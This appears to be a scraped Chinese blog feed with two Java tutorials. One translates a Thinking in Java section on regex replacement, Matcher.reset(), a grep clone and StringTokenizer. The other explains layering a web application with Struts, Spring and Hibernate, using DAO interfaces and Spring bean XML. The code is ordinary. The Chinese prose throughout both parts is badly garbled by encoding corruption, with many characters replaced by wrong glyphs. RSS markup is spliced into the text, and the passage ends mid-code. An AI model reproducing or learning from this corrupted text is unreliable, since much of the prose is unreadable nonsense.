<P>下面我们来演CZ下怎样使用q些替换Ҏ(gu)。说明一下,q段E序所处理的字W串是它自己开头部分的注释Q是用正则表辑ּ提取出来q加以处理之后再传给替换Ҏ(gu)的?/P> <TABLE class=sourcecode> <TBODY> <TR> <TD><PRE><FONT color=#009900>//: c12:TheReplacements.java</FONT> <FONT color=#0000ff>import</FONT> java.util.regex.*; <FONT color=#0000ff>import</FONT> java.io.*; <FONT color=#0000ff>import</FONT> com.bruceeckel.util.*; <FONT color=#0000ff>import</FONT> com.bruceeckel.simpletest.*; <FONT color=#009900>/*! Here's a block of text to use as input to the regular expression matcher. Note that we'll first extract the block of text by looking for the special delimiters, then process the extracted block. !*/</FONT> <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> TheReplacements { <FONT color=#0000ff>private</FONT> <FONT color=#0000ff>static</FONT> Test monitor = <FONT color=#0000ff>new</FONT> Test(); <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) <FONT color=#0000ff>throws</FONT> Exception { String s = TextFile.read(<FONT color=#004488>"TheReplacements.java"</FONT>); <FONT color=#009900>// Match the specially-commented block of text above:</FONT> Matcher mInput = Pattern.compile(<FONT color=#004488>"</FONT><FONT color=#004488>/\\*!(.*)!\\*</FONT><FONT color=#004488>/"</FONT>, Pattern.DOTALL) .matcher(s); <FONT color=#0000ff>if</FONT>(mInput.find()) s = mInput.group(1); <FONT color=#009900>// Captured by parentheses</FONT> <FONT color=#009900>// Replace two or more spaces with a single space:</FONT> s = s.replaceAll(<FONT color=#004488>" {2,}"</FONT>, <FONT color=#004488>" "</FONT>); <FONT color=#009900>// Replace one or more spaces at the beginning of each</FONT> <FONT color=#009900>// line with no spaces. Must enable MULTILINE mode:</FONT> s = s.replaceAll(<FONT color=#004488>"(?m)^ +"</FONT>, <FONT color=#004488>""</FONT>); System.out.println(s); s = s.replaceFirst(<FONT color=#004488>"[aeiou]"</FONT>, <FONT color=#004488>"(VOWEL1)"</FONT>); StringBuffer sbuf = <FONT color=#0000ff>new</FONT> StringBuffer(); Pattern p = Pattern.compile(<FONT color=#004488>"[aeiou]"</FONT>); Matcher m = p.matcher(s); <FONT color=#009900>// Process the find information as you</FONT> <FONT color=#009900>// perform the replacements:</FONT> <FONT color=#0000ff>while</FONT>(m.find()) m.appendReplacement(sbuf, m.group().toUpperCase()); <FONT color=#009900>// Put in the remainder of the text:</FONT> m.appendTail(sbuf); System.out.println(sbuf); monitor.expect(<FONT color=#0000ff>new</FONT> String[]{ <FONT color=#004488>"Here's a block of text to use as input to"</FONT>, <FONT color=#004488>"the regular expression matcher. Note that we'll"</FONT>, <FONT color=#004488>"first extract the block of text by looking for"</FONT>, <FONT color=#004488>"the special delimiters, then process the"</FONT>, <FONT color=#004488>"extracted block. "</FONT>, <FONT color=#004488>"H(VOWEL1)rE's A blOck Of tExt tO UsE As InpUt tO"</FONT>, <FONT color=#004488>"thE rEgUlAr ExprEssIOn mAtchEr. NOtE thAt wE'll"</FONT>, <FONT color=#004488>"fIrst ExtrAct thE blOck Of tExt by lOOkIng fOr"</FONT>, <FONT color=#004488>"thE spEcIAl dElImItErs, thEn prOcEss thE"</FONT>, <FONT color=#004488>"ExtrActEd blOck. "</FONT> }); } } <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE> <P>我们用前面介l的<span id="wmqeeuq" class=original_words>TextFile.read( )</SPAN>Ҏ(gu)来打开和读取文件?SPAN class=original_words>mInput</SPAN>的功能是匚w'<span id="wmqeeuq" class=original_words>/*!</SPAN>' ?'<span id="wmqeeuq" class=original_words>!*/</SPAN>' 之间的文?注意一下分l用的括?。接下来Q我们将所有两个以上的q箋I格全都替换成一个,q且各行开头的I格全都L(Z让这个正则表辑ּ能对所有的行,而不仅仅是第一行v作用Q必d用多行模?。这两个操作都用?SPAN class=original_words>String</SPAN>?SPAN class=original_words>replaceAll( )</SPAN>(q里用它更方?。注意,׃每个替换只做一ơ,因此除了预编?SPAN class=original_words>Pattern</SPAN>之外Q程序没有额外的开销?/P> <P><span id="wmqeeuq" class=original_words>replaceFirst( )</SPAN>只替换第一个子丌Ӏ此外,<span id="wmqeeuq" class=original_words>replaceFirst( )</SPAN>?SPAN class=original_words>replaceAll( )</SPAN>只能用常?literal)来替换,所以如果你每次替换的时候还要进行一些操作的话,它们是无能ؓ力的。碰到这U情况,你得?SPAN class=original_words>appendReplacement( )</SPAN>Q它能让你在q行替换的时候想写多代码就写多。在上面那段E序里,创徏<span id="wmqeeuq" class=original_words>sbuf</SPAN>的过E就是选group做处理,也就是用正则表达式把元音字母扑և来,然后换成大写的过E。通常你得在完成全部的替换之后才调?SPAN class=original_words>appendTail( )</SPAN>Q但是如果要模仿<span id="wmqeeuq" class=original_words>replaceFirst( )</SPAN>(?replace n")的效果,你也可以只替换一ơ就调用<span id="wmqeeuq" class=original_words>appendTail( )</SPAN>。它会把剩下的东西全都放q?SPAN class=original_words>sbuf</SPAN>?/P> <P>你还可以?SPAN class=original_words>appendReplacement( )</SPAN>?SPAN class=original_words>replacement</SPAN>参数里用"$g"引用已捕LgroupQ其?g' 表示group的号码。不q这是ؓ一些比较简单的操作准备的,因而其效果无法与上q程序相比?/P> <H3 id=header66>reset( )</H3> <P>此外Q还可以?SPAN class=original_words>reset( )</SPAN>Ҏ(gu)l现有的<span id="wmqeeuq" class=original_words>Matcher</SPAN>对象配上个新?SPAN class=original_words>CharSequence</SPAN>?/P> <TABLE class=code> <TBODY> <TR> <TD><PRE><FONT color=#009900>//: c12:Resetting.java</FONT> <FONT color=#0000ff>import</FONT> java.util.regex.*; <FONT color=#0000ff>import</FONT> java.io.*; <FONT color=#0000ff>import</FONT> com.bruceeckel.simpletest.*; <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> Resetting { <FONT color=#0000ff>private</FONT> <FONT color=#0000ff>static</FONT> Test monitor = <FONT color=#0000ff>new</FONT> Test(); <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) <FONT color=#0000ff>throws</FONT> Exception { Matcher m = Pattern.compile(<FONT color=#004488>"[frb][aiu][gx]"</FONT>) .matcher(<FONT color=#004488>"fix the rug with bags"</FONT>); <FONT color=#0000ff>while</FONT>(m.find()) System.out.println(m.group()); m.reset(<FONT color=#004488>"fix the rig with rags"</FONT>); <FONT color=#0000ff>while</FONT>(m.find()) System.out.println(m.group()); monitor.expect(<FONT color=#0000ff>new</FONT> String[]{ <FONT color=#004488>"fix"</FONT>, <FONT color=#004488>"rug"</FONT>, <FONT color=#004488>"bag"</FONT>, <FONT color=#004488>"fix"</FONT>, <FONT color=#004488>"rig"</FONT>, <FONT color=#004488>"rag"</FONT> }); } } <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE> <P>如果不给参数Q?SPAN class=original_words>reset( )</SPAN>会把<span id="wmqeeuq" class=original_words>Matcher</SPAN>讑ֈ当前字符串的开始处?/P> <H3 id=header67>正则表达式与Java I/O</H3> <P>到目前ؓ止,你看到的都是用正则表辑ּ处理静态字W串的例子。下面我们来演示一下怎样用正则表辑ּ扫描文gq且扑և匚w的字W串。受Unix的grep启发Q我写了?SPAN class=original_words>JGrep.java</SPAN>Q它需要两个参敎ͼ文g名,以及匚w字符串用的正则表辑ּ。它会把匚wq个正则表达式那部分内容及其所属行的行h印出来?/P> <TABLE class=code> <TBODY> <TR> <TD><PRE><FONT color=#009900>//: c12:JGrep.java</FONT> <FONT color=#009900>// A very simple version of the "grep" program.</FONT> <FONT color=#009900>// {Args: JGrep.java "\\b[Ssct]\\w+"}</FONT> <FONT color=#0000ff>import</FONT> java.io.*; <FONT color=#0000ff>import</FONT> java.util.regex.*; <FONT color=#0000ff>import</FONT> java.util.*; <FONT color=#0000ff>import</FONT> com.bruceeckel.util.*; <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> JGrep { <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) <FONT color=#0000ff>throws</FONT> Exception { <FONT color=#0000ff>if</FONT>(args.length < 2) { System.out.println(<FONT color=#004488>"Usage: java JGrep file regex"</FONT>); System.exit(0); } Pattern p = Pattern.compile(args[1]); <FONT color=#009900>// Iterate through the lines of the input file:</FONT> ListIterator it = <FONT color=#0000ff>new</FONT> TextFile(args[0]).listIterator(); <FONT color=#0000ff>while</FONT>(it.hasNext()) { Matcher m = p.matcher((String)it.next()); <FONT color=#0000ff>while</FONT>(m.find()) System.out.println(it.nextIndex() + <FONT color=#004488>": "</FONT> + m.group() + <FONT color=#004488>": "</FONT> + m.start()); } } } <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE> <P>文g是用<span id="wmqeeuq" class=original_words>TextFile</SPAN>打开?本章的前半部分讲?。由?SPAN class=original_words>TextFile</SPAN>会把文g的各行放?SPAN class=original_words>ArrayList</SPAN>里面Q而我们又提取了一?SPAN class=original_words>ListIterator</SPAN>Q因此我们可以在文g的各行当中自q?既能向前也可以向??</P> <P>每行都会有一?SPAN class=original_words>Matcher</SPAN>Q然后用<span id="wmqeeuq" class=original_words>find( )</SPAN>扫描。注意,我们?SPAN class=original_words>ListIterator.nextIndex( )</SPAN>跟踪行号?</P> <P>试参数?SPAN class=original_words>JGrep.java</SPAN>和以<span id="wmqeeuq" class=original_words>[Ssct]</SPAN>开头的单词?/P> <H3 id=header68>q需要StringTokenizer?</H3> <P>看到正则表达式能提供q么强大的功能,你可能会怀疑,是不是还需要原先的<span id="wmqeeuq" class=original_words>StringTokenizer</SPAN>。JDK 1.4以前Q要惛_割字W串Q只有用<span id="wmqeeuq" class=original_words>StringTokenizer</SPAN>。但现在Q有了正则表辑ּ之后Q它?yu)p做得更干净利烦了?/P> <TABLE class=sourcecode> <TBODY> <TR> <TD><PRE><FONT color=#009900>//: c12:ReplacingStringTokenizer.java</FONT> <FONT color=#0000ff>import</FONT> java.util.regex.*; <FONT color=#0000ff>import</FONT> com.bruceeckel.simpletest.*; <FONT color=#0000ff>import</FONT> java.util.*; <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> ReplacingStringTokenizer { <FONT color=#0000ff>private</FONT> <FONT color=#0000ff>static</FONT> Test monitor = <FONT color=#0000ff>new</FONT> Test(); <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) { String input = <FONT color=#004488>"But I'm not dead yet! I feel happy!"</FONT>; StringTokenizer stoke = <FONT color=#0000ff>new</FONT> StringTokenizer(input); <FONT color=#0000ff>while</FONT>(stoke.hasMoreElements()) System.out.println(stoke.nextToken()); System.out.println(Arrays.asList(input.split(<FONT color=#004488>" "</FONT>))); monitor.expect(<FONT color=#0000ff>new</FONT> String[] { <FONT color=#004488>"But"</FONT>, <FONT color=#004488>"I'm"</FONT>, <FONT color=#004488>"not"</FONT>, <FONT color=#004488>"dead"</FONT>, <FONT color=#004488>"yet!"</FONT>, <FONT color=#004488>"I"</FONT>, <FONT color=#004488>"feel"</FONT>, <FONT color=#004488>"happy!"</FONT>, <FONT color=#004488>"[But, I'm, not, dead, yet!, I, feel, happy!]"</FONT> }); } } <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE> <P>有了正则表达式,你就能用更复杂的模式字W串分割开来——要是交l?SPAN class=original_words>StringTokenizer</SPAN>的话Q事情会ȝ得多。我可以很有把握地说Q正则表辑ּ可以取代<span id="wmqeeuq" class=original_words>StringTokenizer</SPAN>?</P> <P>要想q一步学习正则表辑ּQ徏议你?CITE><span id="wmqeeuq" class=original_words>Mastering Regular Expression, 2nd Edition</SPAN></CITE>Q作者Jeffrey E. F. Friedl (O’Reilly, 2002)?/P> <H2 id=header69>ȝ</H2> <P>Java的I/O类库应该能满你的基本需求:你可以用它来d控制収ͼ文gQ内存,甚至是Internet。你q可以利用承来创徏新的输入和输出类型。你甚至可以利用Java会自动调用对象的<span id="wmqeeuq" class=original_words>toString( )</SPAN>Ҏ(gu)的特?Java仅有?自动cd转换")Q通过重新定义q个Ҏ(gu)Q来对要传给的对象做一个简单的扩展?/P> <P>但是Java的I/O类库及其文档还是留下了一些缺憾。比方说你打开一个文件往里面写东西,但是q个文g已经有了Q这么做会把原先的内容给覆盖?。这时要是能有一个异常就好了——有些编E语a能让你规定只能往新徏的文仉输出。看来Java是要你用<span id="wmqeeuq" class=original_words>File</SPAN>对象来判断文件是否存在,因ؓ如果你用<span id="wmqeeuq" class=original_words>FileOutputStream</SPAN>?SPAN class=original_words>FileWriter</SPAN>的话Q文件就会被覆盖了?/P> <P>我对I/O类库的评h(hun)是比较矛盄Q它实能干很多事情Q而且做到了跨q_。但是如果你不懂decorator模式Q就会觉得这U设计太隄解了Q所以无论是对老师q是学生Q都得多q力。此外这个类库也不完_否则我也用不着d<span id="wmqeeuq" class=original_words>TextFile</SPAN>了。此外它没有提供格式化输出的功能Q而其他语a都已l提供了q种功能?/P> <P>但是Q一旦你真正理解了decorator模式Qƈ且能开始灵z运用这个类库的时候,你就能感受到q种设计的好处了。这时多写几行代码就不了什么了?</P> <P>如果你觉得不解(f)(本章只是做个介绍Q没惌面面俱到)Q可以去看Elliotte Rusty Harold 写的<CITE>Java I/O</CITE> (O’Reilly, 1999)。这本书讲得更深?/P><img src ="http://www.aygfsteel.com/frankboy/aggbug/25637.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/frankboy/" target="_blank">frankboy</a> 2005-12-27 23:18 <a href="http://www.aygfsteel.com/frankboy/archive/2005/12/27/25637.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>struts+spring+hibernatehttp://www.aygfsteel.com/frankboy/archive/2005/12/27/25636.htmlfrankboyfrankboyTue, 27 Dec 2005 15:15:00 GMThttp://www.aygfsteel.com/frankboy/archive/2005/12/27/25636.htmlhttp://www.aygfsteel.com/frankboy/comments/25636.htmlhttp://www.aygfsteel.com/frankboy/archive/2005/12/27/25636.html#Feedback0http://www.aygfsteel.com/frankboy/comments/commentRss/25636.htmlhttp://www.aygfsteel.com/frankboy/services/trackbacks/25636.html使用struts+spring+hibernatel装你的web应用架构       其实Q就用Java建造一个不是很烦琐的web应用Q也不是件轻杄事情?在构架的一开始就有很多事情要考虑。从高处看,摆在开发者面前有很多问题Q要考虑是怎样建立用户接口Q在哪里处理业务逻辑Q?怎样持久化的数据。而这三层构架中,每一层都有他们要仔细考虑的?各个层该使用什么技术? 怎样的设计能松散耦合q能灉|改变Q怎样替换某个层而不影响整体构架Q应用程序如何做各种U别的业务处理(比如事务处理Q?

      构架一个Web应用需要弄明白好多问题?q运的是Q已l有不少开发者已l遇到过q类问题Qƈ且徏立了处理q类问题的框架。一个好框架具备以下几点Q?减轻开发者处理复杂的问题的负担("不重复发明轮?Q; 内部有良好的扩展Q?q且有一个支持它的强大的用户团体。好的构架一般有针对性的处理某一c问题,q且能将它做好(Do One Thing wellQ。然而,你的E序中有几个层可能需要用特定的框架Q已l完成的UI(用户接口) q不代表你也可以把你的业务逻辑和持久逻辑偶合C的UI部分。D个例子, 你不该在一个Controller(控制?里面写JDBC代码作ؓ你的业务逻辑Q?q不是控制器应该提供的?一个UI 控制器应该委z其它l在UI范围之外的轻量lg?好的框架应该能指g码如何分布。更重要的是Q框架能把开发者从~码中解攑և来,使他们能专心于应用程序的逻辑Q这对客h说很重要Q?

      q篇文章讨论怎样l合几种著名的框架来使得你的应用E序做到村ּ耦合?
如何建立你的架构Qƈ且怎样让你的各个应用层保持一致。?如何整合框架以便让每个层在以一U松散偶合的方式彼此作用而不用管低层的技术细节?q对我们来说真是一U挑战?q里讨论一个整合框架的{略( 使用3 U受Ƣ迎的开源框? Q表C层我们用StrutsQ业务层我们用SpringQ而持久层则用Hibernate?你也可以用其他FrameWork替换只要能得到同L效果?见图1 Q框架组合示意图Q?



应用E序的分?/SPAN>

大部分的Web应用在职责上臛_能被分成4层。这四层是:presentationQ描qͼQpersistenceQ持久)QbusinessQ业务)和domain modelQ域模块Q。每个层在处理程序上都应该有一Ҏ(gu)的责Q, 而不应该在功能上与其它层混合Qƈ且每个层要与其它层分开的,但要l他们之间放一个通信接口。我们就从介l各个层开始,讨论一下这些层应该提供什么,不应该提供什么?



表示?The Presentation Layer)

一般来Ԍ一个典型的Web应用的的末端应该是表C层?很多Java发者也理解Struts所提供的?象业务逻辑之类的被打包到org.apache.struts.Action.Q?因此Q我们很赞成使用Strutsq样的框架?



下面是Struts所负责的:

* 理用户的请?做出相应的响应?

* 提供一个Controller ,委派调用业务逻辑和其它上层处理?

* 处理异常Q抛lStruts Action

* 为显C提供一个模?

* UI验证?



以下条款Q不该在Struts昄层的~码中经常出现?它们与显C层无关的?

* 直接的与数据库通信Q例如JDBC调用?

* 与你应用E序相关联的业务逻辑以及校验?

* 事物理?

在表C层引入q些代码Q则会带来高偶合和麻烦的l护?





持久?The Persistence Layer)

典型的Web应用的另一个末端是持久层。这里通常是程序最Ҏ(gu)失控的地斏V开发者L低估构徏他们自己的持久框架的挑战性。系l内部的持箋层不但需要大量调试时_而且q经常缺功能之变得难以控Ӟq是持久层的通病。还好有几个ORM开源框架很好的解决了这c问题。尤其是Hibernate?Hibernate为java提供了OR持久化机制和查询服务, 它还l已l熟(zhn)SQL和JDBC API 的Java开发者一个学习桥梁,他们学习h很方ѝ?Hibernate的持久对象是ZPOJO和Java collections。此外,使用Hibernateq不妨碍你正在用的IDE?



L下面的条目,你在持久层编码中需要了解的?

* 查询对象的相关信息的语句?Hibernate通过一个OO查询语言QHQLQ或者正则表辄API来完成查询?HQL非常cM于SQL-- 只是把SQL里的table和columns用Object和它的fields代替?你需要学习一些新的HQL语言Q不怎样Q他们容易理解而文档也做的很好?HQL是一U对象查询的自然语言Q花很小的代价就能学习它?

* 如何存储Q更斎ͼ删除数据库记录?

* 象Hibernateq类的高UORM框架支持大部分主数据库Qƈ且他们支?Parent/child关系Q事物处理,l承和多态?



业务层(The Business LayerQ?/SPAN>

一个典型Web应用的中间部分是业务层或者服务层?从编码的视角来看Q这层是最Ҏ(gu)被忽视的一层。而我们却往往在UI层或持久层周围看到这些业务处理的代码Q这其实是不正确的,因ؓ它导致了E序代码的紧密偶合,q样一来,随着旉推移q些代码很难l护。幸好,针对q一问题有好几种Frameworks存在?最受欢q的两个框架是Spring和PicoContainer。这些ؓ也被UCؓmicrocontainersQ他们能让你很好的把对象搭配h?q两个框枉着手于‘依赖注?(dependency injection)(q有我们知道的‘控制反?Inversion of Control=IoC)q样的简单概c这文章将x于Spring的注(译注Q通过一个给定参数的SetterҎ(gu)来构造Bean,有所不同于FactoryQ? Springq提供了Setter Injection(type2)QConstructor Injection(type3){方式供我们选择?Spring把程序中所涉及到包含业务逻辑和Dao的Objects——例如transaction management handlerQ事物管理控Ӟ、Object Factoris(对象工厂)、service objectsQ服务组Ӟ——都通过XML来配|联pv来?



后面我们会D个例子来揭示一下Spring 是怎样q用q些概念?

业务层所负责的如下:

* 处理应用E序?业务逻辑和业务校?

* 理事物

* 允许与其它层怺作用的接?

* 理业务层别的对象的依赖?

* 在显C层和持久层之间增加了一个灵zȝ机制Q得他们不直接的联pd一赗?

* 通过揭示 从显C层C务层之间的Context来得到business services?

* 理E序的执行(从业务层到持久层Q?





域模块层QThe Domain Model Layer Q?/SPAN>
既然我们致力于的是一个不是很复杂的Web的应用, 我们需要一个对象集合,让它在不同层之间Ud的?域模块层由实际需求中的业务对象组成比? OrderLineItem , Product{等?开发者在q层 不用那些DTOsQ仅xdomain object卛_。例如,Hibernate允许你将数据库中的信息存攑օ对象Qdomain objectsQ,q样你可以在q接断开的情况下把这些数据显C到UI层。而那些对象也可以q回l持l层Q从而在数据库里更新。而且Q你不必把对象{化成DTOsQ这可能似的它在不同层之间的在传输过E中丢失Q,q个模型使得Java开发者能很自然运用OOQ而不需要附加的~码?

一个简单例?



既然我们已经从全局上理解这些组件?现在p我们开始实践吧?我们q是?StrutsQSpring 和Hibernate。这三个框架已经被描q够多了Q这里就不重复介l了?q篇文章举例指导你如何用这三个框架整合开? q向你揭CZ个请求是如何贯穿于各个层的。(从用L加入一个Order到数据库Q显C;q而更新、删除)?



从这里可以下载到E序E序原代码(downloadQ?

既然每个层是互相作用的,我们先来创建domain objects。首先,我们要在q些Object中要定那些是需要持久化的,哪些是提供给business logicQ那些是昄接口的设计。下一步,我们配|我们的持久层ƈ且定义好Hibernate的OR mappings。然后定义好Business Objects。有了这些组成部分之后,我们?使用Spring把这些连接v来。最后,我们提供lSpring一个持久层Q从q个持久层里我们可以知道它是如何与业务逻辑层(business service layerQ通信的,以及它是怎样处理其他层抛出的异常的。?



域对象层QDomain Object LayerQ?/SPAN>


q层是编码的着手点Q我们的~码׃q层开始?例子中Order 与OrderItem 是一个One—To—Many的关pR?下面是Domain Object Layer的两个对象:



· com.meagle.bo.Order.java: 包含了一个Order的概要信?

· com.meagle.bo.OrderLineItem.java: 包含了Order的详l信?

好好考虑怎你的package命名,q反应出了你是怎样分层的?例如 domain objects在程序中可能打包在com.meagle.bo内?更详l一点将打包在com. meagle.bo的子目录下面。business logic应该从com.meagle.serice开始打包,而DAO 对象应该位于com.meagle.service.dao.hibernate。反应Forms和Actions的持久对象(presentation classesQ?应该分别攑֜ com.meagle.action和com.meagle.forms包。准的l包命名使得你的classes很好分割q且易于l护Qƈ且在你添加新的classesӞ能得程序结构上保持上下一致?

持久层的配置QPersistence Layer ConfigurationQ?/SPAN>

建立Hibernate的持久层 需要好几个步骤?W一步让我们把BO持久化?既然Hibernate是通过POJO工作的,因此Order?OrderLineItem对象需要给所有的fileds 加上getter,setterҎ(gu)?Hibernate通过XML文g来映?OR)对象Q以下两个xml文g分别映射了Order 和OrderItem对象。(q里有个叫XDoclet工具可以自动生成你的XML影射文gQ?

- Order.hbm.xml
- OrderLineItem.hbm.xml

你可以在WebContent/WEB-INF/classes/com/meagle/bo目录下找到这些xml文g。Hibernate?[urlhttp://www.hibernate.org/hib_docs/api/net/sf/hibernate/SessionFactory.html]SessionFactory [/url]是用来告诉程?应该与哪个数据库通信Q该使用哪个q接池或使用了DataSourceQ?应该加蝲哪些持久对象。?A target=_blank rel=nofollow>Session接口是用来完成SelectingQSavingQDelete和Updatingq些操作?后面的我们将讲述SessionFactory和Session是怎样讄的?

业务层的配置QBusiness Layer ConfigurationQ?/SPAN>

既然我们已经有了domain objectsQ接下来我们pbusiness service objects了,用他们来执行E序的logic,调用持久层,得到UI层的requests,处理transactionsQƈ且控?exceptions?Z这些连接v来ƈ且易于管理,我们用面向方面的 SpringFramework?Spring 提供了控制倒置Qinversion of control 0==IoC)和注依赖设|(setter dependency injectionQ这些方式(可供选择Q,用XML文g对象连接v来?IoC是一个简单概念(它允怸个对象在上层接受其他对象的创建)Q用IoCq种方式让你的对象从创徏中释放了出来Q降低了偶合度?




q里是一个没有用IoC的对象创建的例子Q它有很高偶合度?




?2.没有使用 IoC. A 创徏?B ?C

而这里是一个用IoC的例子,q种方式允许对象在高层可以创建ƈq入另外一个对象,所以这样可以直接被执行?


?3. 对象使用?IoC?A 包含了接受B,C?setterҎ(gu) , q同栯C 由A创徏B,C的目的?/SPAN>

建立我们的业务服务对象(Building Our Business Service ObjectsQ?


Business Object中的SetterҎ(gu)接受的是接口Q这h们可以很松散的定义对象实玎ͼ然后注入。在我们的案例中Q我们将用一个business service object接收一个DAO,用它来控制domain objects的持久化。由于在q个例子中用了HibernateQ我们可以很方便的用其他持久框架实现 同时通知Spring 有新的DAO可以使用了?

在面向接口的~程中,你会明白 "注射依赖"模式是怎样松散耦合你的业务逻辑和持久机制的Q)?



下面是一个接口business service objectQDAO代码片段Q?


代码:

public interface IOrderService {

  public abstract Order saveNewOrder(Order order)

    throws OrderException,

           OrderMinimumAmountException;

 

  public abstract List findOrderByUser(

                                     String user)

                           throws OrderException;

 

  public abstract Order findOrderById(int id)

                           throws OrderException;

 

  public abstract void setOrderDAO(

                             IOrderDAO orderDAO);

}

 

注意到这D代码里有一?setOrderDaoQ)Q它?yu)是一个DAO Object讄Ҏ(gu)Q注器Q。但q里q没有一个getOrderDao的方法,q不必要Q因Zq不会在外部讉Kq个orderDao。这个DAO Objecte被调用Q和我们的persistence layer 通信。我们将用Spring把DAO Object ?business service object搭配h的。因为我们是面向接口~程的,所以ƈ不需要将实现cȝ密的耦合在一赗?



接下L们开始我们的DAO的实现类q行~码?既然Spring已经有对Hibernate的支持,那这个例子就直接l承HibernateDaoSupportcMQ这个类很有用,我们可以参?A target=_blank rel=nofollow>HibernateTemplateQ它主要是针对HibernateDaoSupport的一个用法,译注Q具体可以查?A target=_blank rel=nofollow>Srping 的APIQ?下面是这个DAO接口代码Q?

代码:
public interface IOrderDAO {
  public abstract Order findOrderById(
                                    final int id);
 
  public abstract List findOrdersPlaceByUser(
                           final String placedBy);
  public abstract Order saveOrder(
                               final Order order);
}


我们仍然要给我们持久层组装很多关联的对象Q这里包含了HibernateSessionFactory 和TransactionManager?Spring 提供了一?HibernateTransactionManagerQ他用线E捆l了一个Hibernate SessionQ用它来支持transactions(h?A target=_blank rel=nofollow>ThreadLocal) ?

下面是HibernateSessionFactory ?HibernateTransactionManager:的配|:

代码:
<bean id="mySessionFactory"
       class="org.springframework.orm.hibernate.
              LocalSessionFactoryBean">
  <property name="mappingResources">
    <list>
      <value>
        com/meagle/bo/Order.hbm.xml
      </value>
      <value>
        com/meagle/bo/OrderLineItem.hbm.xml
      </value>
    </list>
  </property>
  <property name="hibernateProperties">
    <props>
      <prop key="hibernate.dialect">
        net.sf.hibernate.dialect.MySQLDialect
      </prop>
      <prop key="hibernate.show_sql">
        false
      </prop>
      <prop key="hibernate.proxool.xml">
        C:/MyWebApps/.../WEB-INF/proxool.xml
      </prop>
      <prop key="hibernate.proxool.pool_alias">
          spring
      </prop>
    </props>
  </property>
</bean>
 
<!-- Transaction manager for a single Hibernate
SessionFactory (alternative to JTA) -->
<bean id="myTransactionManager"
         class="org.
                springframework.
                orm.
                hibernate.
                HibernateTransactionManager">
  <property name="sessionFactory">
    <ref local="mySessionFactory"/>
  </property>
  </bean>



可以看出Q每个对象都可以在Spring 配置信息中用<bean>标签引用。在q里QmySessionFactory引用了HibernateSessionFactoryQ?myTransactionManager引用了HibernateTransactionManage。注意代码中myTransactionManger Bean有个sessionFactory属性?HibernateTransactionManager有个sessionFactory setter ?getterҎ(gu)Q这是用来在Spring启动的时候实?依赖注入" Qdependency injectionQ的。在sessionFactory 属性里 引用mySessionFactory。这两个对象在Spring容器初始化后pl装了v来了。这L搭配让你?单例Qsingleton objectsQ和工厂QfactoriesQ中解放了出来,降低了代码的l护代h(hun)?mySessionFactory.的两个属性,分别是用来注入mappingResources ?hibernatePropertes的。通常Q如果你在Spring之外使用Hibernate,q样的设|应该放?hibernate.cfg.xml中的。不怎样,Spring提供了一个便L方式-----在Spring内部配置中ƈ入了Hibernate的配|。如果要得到更多的信息,可以查阅Spring API?





既然我们已经l装配置好了Service BeansQ就需要把Business Service Object?DAO也组装v来,q把q些对象配到一个事务管理器Qtransaction managerQ里?



在Spring中的配置信息Q?
代码:

<!-- ORDER SERVICE -->
<bean id="orderService"
  class="org.
         springframework.
         transaction.
         interceptor.
         TransactionProxyFactoryBean">
  <property name="transactionManager">
    <ref local="myTransactionManager"/>
  </property>
  <property name="target">
    <ref local="orderTarget"/>
  </property>
  <property name="transactionAttributes">
    <props>
      <prop key="find*">
     PROPAGATION_REQUIRED,readOnly,-OrderException
      </prop>
      <prop key="save*">
     PROPAGATION_REQUIRED,-OrderException
      </prop>
    </props>
  </property>
</bean>
 
<!-- ORDER TARGET PRIMARY BUSINESS OBJECT:
Hibernate implementation -->
<bean id="orderTarget"
         class="com.
                meagle.
                service.
                spring.
                OrderServiceSpringImpl">
  <property name="orderDAO">
    <ref local="orderDAO"/>
  </property>
</bean>
 
<!-- ORDER DAO OBJECT -->
<bean id="orderDAO"
         class="com.
                meagle.
                service.
                dao.
                hibernate.
                OrderHibernateDAO">
  <property name="sessionFactory">
    <ref local="mySessionFactory"/>
  </property>
</bean>




? 是我们对象搭建的一个提UӀ?从中可以看出Q每个对象都联系着SpringQƈ且能通过Spring注入到其他对象。把它与Spring的配|文件比较,观察他们之间的关p?



?4. Spring是q样Z配置文gQ将各个Bean搭徏在一赗?/SPAN>

q个例子使用一个TransactionProxyFactoryBeanQ它定义了一个setTransactionManager()。这对象很有用,他能很方便的处理你申明的事物q有Service Object。你可以通过transactionAttributes属性来定义怎样处理。想知道更多q是参考TransactionAttributeEditor吧?

TransactionProxyFactoryBean q有个setter. q会被我?Business service objectQorderTargetQ引用, orderTarget定义了业务服务层Qƈ且它q有个属性,由setOrderDAO()引用。这个属?



Spring 和Bean 的还有一点要注意的: bean可以以用两种方式创造。这些都在单例模式(SingtonQ和原型模式QpropotypeQ中定义了?默认的方式是singleton,q意味着׃n的实例将被束~。而原形模式是在Spring用到bean的时候允许新建实例的。当每个用户需要得C们自己Bean的CopyӞ你应该仅使用prototype模式。(更多的请参考设计模式中的单例模式和原Ş模式Q?

提供一个服务定位器QProviding a Service LocatorQ?/SPAN>
既然我们已经我们的Serices和DAO搭配h了。我们需要把我们的Service昄到其他层。这个通常是在Struts或者Swingq层里编码。一个简单方法就是用 服务定位器返回给Spring context 。当Ӟ可以通过直接调用Spring中的Bean来做?

下面是一个Struts Actin 中的服务定位器的一个例子?
代码:

public abstract class BaseAction extends Action {
 
  private IOrderService orderService;
 
  public void setServlet(ActionServlet
                                 actionServlet) {
    super.setServlet(actionServlet);
    ServletContext servletContext =
